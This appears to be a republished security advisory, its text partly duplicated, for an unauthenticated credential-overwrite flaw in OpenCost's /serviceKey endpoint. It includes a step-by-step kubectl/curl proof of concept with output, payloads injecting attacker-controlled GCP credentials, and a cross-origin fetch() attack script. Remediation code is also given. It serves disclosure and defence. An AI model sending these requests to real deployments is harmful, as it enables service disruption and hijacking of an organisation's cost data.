**Via port-forward** | Medium-High | Local dev environments vulnerable to CORS attacks | **Recommended Risk Rating**: - Default deployment (cluster-internal): **Medium** - Improperly exposed (public internet): **High** --- ## Remediation ### Immediate Actions (P0) #### 1. Add Authentication ```go func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { // Add authentication check if !a.isAuthorized(r) { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } // ... existing logic } ``` #### 2. Implement Input Validation ```go func validateServiceKey(key string) error { var keyData map[string]interface{} if err := json.Unmarshal([]byte(key), &keyData); err != nil { return fmt.Errorf("invalid JSON format") } requiredFields := []string{"type", "project_id", "private_key_id", "private_key"} for _, field := range requiredFields { if _, ok := keyData[field]; !ok { return fmt.Errorf("missing required field: %s", field) } } if keyData["type"] != "service_account" { return fmt.Errorf("invalid key type") } return nil } ``` #### 3. Restrict CORS ```go w.Header().Set("Access-Control-Allow-Origin", os.Getenv("ALLOWED_ORIGIN")) ``` ### Long-term Solutions (P1) 1. **Use Kubernetes Secrets**: Store credentials in Kubernetes Secrets instead of files 2. **Implement RBAC**: Role-based access control for sensitive operations 3. **Add Audit Logging**: Log all file write operations 4. **Apply Least Privilege**: Minimize ClusterRole permissions --- ## Workarounds Until a patch is available, implement these mitigations: 1. **Network Segmentation**: Restrict access to OpenCost service using NetworkPolicies 2. **Disable Endpoint**: Remove or disable the `/serviceKey` endpoint if not required 3. **Monitor File Changes**: Alert on modifications to `key.json` file 4. **Use Read-only Filesystem**: Mount config directory as read-only where possible --- ## References - **Vulnerable Code**: `pkg/costmodel/router.go:365-379` - **Environment Configuration**: `core/pkg/env/core.go` - **OWASP**: [Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) - **CWE-306**: [Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html) - **CWE-20**: [Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)
AI coding agents often install or upgrade packages automatically in go. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/opencost/opencostgo | <1.119.1 | 1.119.1 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate github.com/opencost/opencost to 1.119.1 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanOpenCost ServiceKey Endpoint Unauthorized Credential Overwrite/Injection affects github.com/opencost/opencost (go). Severity is high. ## Summary OpenCost contains an unauthenticated file write vulnerability in the `/serviceKey` endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters. --- ## Affected Versions - **OpenCost**: All versions up to and including the latest release - **Vulnerable File**: `pkg/costmodel/router.go` (lines 365-379) - **Vulnerable Endpoint**: `POST /serviceKey` --- ## Vulnerability Details ### Root Cause The `AddServiceKey` function in `pkg/costmodel/router.go` accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation: ```go func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { w.Header().Set("Content-Type", "application/json") w.Header().Set("Access-Control-Allow-Origin", "*") // Overly permissive CORS r.ParseForm() key := r.PostForm.Get("key") // User-controlled input, no validation k := []byte(key) err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644) // Direct file write if err != nil { fmt.Fprintf(w, "Error writing service key: %s", err) } w.WriteHeader(http.StatusOK) } ``` **File Path Determination** (`core/pkg/env/core.go`): ```go func GetGCPAuthSecretFilePath() string { return GetPathFromConfig("key.json") } func GetPathFromConfig(fileName string) string { return filepath.Join(GetConfigPath(), fileName) } func GetConfigPath() string { return Get(ConfigPathEnvVar, DefaultConfigPath) // Default: /var/configs } ``` ### Security Issues 1. **No Authentication**: Any network-accessible client can invoke the endpoint 2. **No Input Validation**: User input is not validated as a valid GCP service account key 3. **Overly Permissive CORS**: `Access-Control-Allow-Origin: *` allows cross-origin attacks 4. **Predictable File Path**: File location controlled by `CONFIG_PATH` environment variable --- ## Proof of Concept ### Environment Setup #### Prerequisites - Kubernetes cluster (tested on kind v1.30.0) - Helm 3.x - kubectl configured #### Step 1: Create Namespace ```bash kubectl create namespace opencost ``` **Output**: ``` namespace/opencost created ``` #### Step 2: Add OpenCost Helm Repository ```bash helm repo add opencost https://opencost.github.io/opencost-helm-chart helm repo update ``` **Output**: ``` "opencost" has been added to your repositories Hang tight while we grab the latest from your chart repositories... ...Successfully got an update from the "opencost" chart repository Update Complete. Happy Helming! ``` #### Step 3: Deploy OpenCost ```bash helm install opencost opencost/opencost --namespace opencost \ --set opencost.exporter.defaultClusterId=test-cluster \ --set opencost.prometheus.internal.enabled=true \ --set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \ --set opencost.prometheus.internal.namespaceName=monitoring \ --set opencost.prometheus.internal.port=9090 \ --set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp' ``` **Key Configuration**: - `CONFIG_PATH=/tmp`: Sets writable directory for file operations **Output**: ``` NAME: opencost LAST DEPLOYED: Sun Jan 18 00:39:21 2026 NAMESPACE: opencost STATUS: deployed REVISION: 1 ``` #### Step 4: Verify Deployment ```bash kubectl get pods -l app.kubernetes.io/instance=opencost -n opencost ``` **Output**: ``` NAME READY STATUS RESTARTS AGE opencost-db97bbcc-5q8cb 2/2 Running 0 44s ``` #### Step 5: Verify Service Accessibility ```bash kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \ curl -v http://opencost.opencost.svc.cluster.local:9003/healthz ``` **Output**: ``` < HTTP/1.1 200 OK < Vary: Origin < Date: Sat, 17 Jan 2026 16:32:07 GMT < Content-Length: 0 ``` ### Exploitation #### Step 6: Check Initial State ```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json ``` **Output**: ``` cat: can't open '/tmp/key.json': No such file or directory ``` Note: File does not exist initially #### Step 7: Verify CONFIG_PATH Configuration ```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH ``` **Output**: ``` CONFIG_PATH=/tmp ``` Note: CONFIG_PATH correctly set to /tmp #### Step 8: Execute Exploit ```bash MALICIOUS_CONTENT='{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}' kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \ curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "key=${MALICIOUS_CONTENT}" \ -v ``` **Request Details**: ``` > POST /serviceKey HTTP/1.1 > Host: opencost.opencost.svc.cluster.local:9003 > User-Agent: curl/8.18.0 > Accept: */* > Content-Type: application/x-www-form-urlencoded > Content-Length: 244 ``` **Response Details**: ``` < HTTP/1.1 200 OK < Access-Control-Allow-Origin: * < Content-Type: application/json < Vary: Origin < Date: Sat, 17 Jan 2026 16:42:29 GMT < Content-Length: 0 ``` Result: HTTP 200 OK - Request successful without authentication #### Step 9: Verify File Write ```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json ``` **Output**: ```json {"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"} ``` Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file --- ## Impact Analysis ### Direct Impact | Impact Type | Severity | Description | |------------|----------|-------------| | **Unauthorized Credential Overwrite** | High | Attacker can overwrite GCP service account key file content | | **No Authentication Required** | High | Vulnerability can be exploited without any credentials | | **CORS Misconfiguration** | Medium | Allows cross-origin attacks via malicious websites | | **Fixed File Path** | Low | Attacker cannot control write location, only content | ### Attack Scenario Analysis #### Scenario 1: GCP Credential Overwrite Leading to Service Disruption **Attack Steps**: 1. Attacker sends POST request with invalid JSON or malformed GCP key 2. `/serviceKey` endpoint accepts request and overwrites existing `key.json` file 3. OpenCost attempts to access GCP API with corrupted credentials 4. GCP integration fails, cost data collection stops **Technical Details**: ```bash # Attack payload example curl -X POST http://opencost:9003/serviceKey \ -d 'key={"invalid":"json","corrupted":"credentials"}' ``` **Impact**: - **Cost Monitoring Disruption**: Unable to retrieve GCP cloud cost data - **Operational Impact**: FinOps processes dependent on cost data are blocked - **Availability Degradation**: Manual intervention required to restore correct credentials **CVSS Impact Score**: Availability impact is Low (A:L) --- #### Scenario 2: Malicious Credential Injection for Data Hijacking **Attack Steps**: 1. Attacker creates their own GCP project and service account 2. Injects attacker-controlled valid GCP credentials into OpenCost 3. OpenCost uses attacker's credentials to send requests to GCP Billing API 4. Target organization's cost data is sent to attacker's GCP project **Technical Details**: ```bash # Inject attacker credentials ATTACKER_KEY='{ "type": "service_account", "project_id": "attacker-billing-project", "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n", "client_email": "[email protected]" }' curl -X POST http://opencost:9003/serviceKey -d "key=${ATTACKER_KEY}" ``` **Impact**: - **Sensitive Data Leakage**: Organization's cloud resource usage patterns and cost details - **Business Intelligence Leakage**: Can infer business scale, growth trends, technology stack - **Compliance Risk**: Cost data may contain protected business information **Data Leakage Examples**: - Kubernetes cluster size and node configuration - Resource consumption per namespace (can map to business units) - Cloud service usage patterns (databases, storage, compute instance types) - Cost trends (can infer business growth or contraction) **CVSS Impact Score**: Confidentiality impact is None (C:N), but business impact is High --- #### Scenario 3: Cross-Origin Attack (CORS Exploitation) **Attack Steps**: 1. User visits attacker-controlled malicious website 2. Malicious JavaScript sends POST request to `http://localhost:9003/serviceKey` 3. Due to CORS set to `*`, browser allows cross-origin request 4. User's browser acts as proxy to execute credential overwrite attack **Prerequisites**: - User exposes OpenCost service via `kubectl port-forward` or other means - User's browser can access OpenCost endpoint **Technical Details**: ```javascript // JavaScript on malicious website fetch('http://localhost:9003/serviceKey', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'key={"type":"malicious"}' }); ``` **Impact**: - **User-Unaware Attack**: No active user interaction required - **Difficult to Trace**: Attack originates from victim's IP address - **Limited Exploitation Conditions**: Requires OpenCost exposed to user-accessible network --- ### Vulnerability Limitations **What Attacker Cannot Control**: - **File Write Path**: Fixed by `CONFIG_PATH` environment variable, attacker cannot modify - **File Name**: Fixed as `key.json`, cannot write to other files - **File Permissions**: Write permission is `0644`, attacker cannot escalate **Actual Attack Capabilities**: - **File Content Control**: Complete control over `key.json` content - **Unauthenticated Exploitation**: No credentials required to trigger - **Remote Accessibility**: Can be exploited over network (if service exposed) --- ### Real-World Impact Assessment | Deployment Scenario | Risk Level | Description | |---------------------|-----------|-------------| | **Cluster-Internal Only** | Medium | Requires attacker to have cluster network access | | **Exposed via Ingress** | High | Any internet user can exploit | | **Exposed via NodePort** | High | Attackers with node network access can exploit | | **Via port-forward** | Medium-High | Local dev environments vulnerable to CORS attacks | **Recommended Risk Rating**: - Default deployment (cluster-internal): **Medium** - Improperly exposed (public internet): **High** --- ## Remediation ### Immediate Actions (P0) #### 1. Add Authentication ```go func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { // Add authentication check if !a.isAuthorized(r) { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } // ... existing logic } ``` #### 2. Implement Input Validation ```go func validateServiceKey(key string) error { var keyData map[string]interface{} if err := json.Unmarshal([]byte(key), &keyData); err != nil { return fmt.Errorf("invalid JSON format") } requiredFields := []string{"type", "project_id", "private_key_id", "private_key"} for _, field := range requiredFields { if _, ok := keyData[field]; !ok { return fmt.Errorf("missing required field: %s", field) } } if keyData["type"] != "service_account" { return fmt.Errorf("invalid key type") } return nil } ``` #### 3. Restrict CORS ```go w.Header().Set("Access-Control-Allow-Origin", os.Getenv("ALLOWED_ORIGIN")) ``` ### Long-term Solutions (P1) 1. **Use Kubernetes Secrets**: Store credentials in Kubernetes Secrets instead of files 2. **Implement RBAC**: Role-based access control for sensitive operations 3. **Add Audit Logging**: Log all file write operations 4. **Apply Least Privilege**: Minimize ClusterRole permissions --- ## Workarounds Until a patch is available, implement these mitigations: 1. **Network Segmentation**: Restrict access to OpenCost service using NetworkPolicies 2. **Disable Endpoint**: Remove or disable the `/serviceKey` endpoint if not required 3. **Monitor File Changes**: Alert on modifications to `key.json` file 4. **Use Read-only Filesystem**: Mount config directory as read-only where possible --- ## References - **Vulnerable Code**: `pkg/costmodel/router.go:365-379` - **Environment Configuration**: `core/pkg/env/core.go` - **OWASP**: [Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) - **CWE-306**: [Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html) - **CWE-20**: [Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)
AI coding agents often install or upgrade packages automatically in go. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/opencost/opencostgo | <1.119.1 | 1.119.1 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard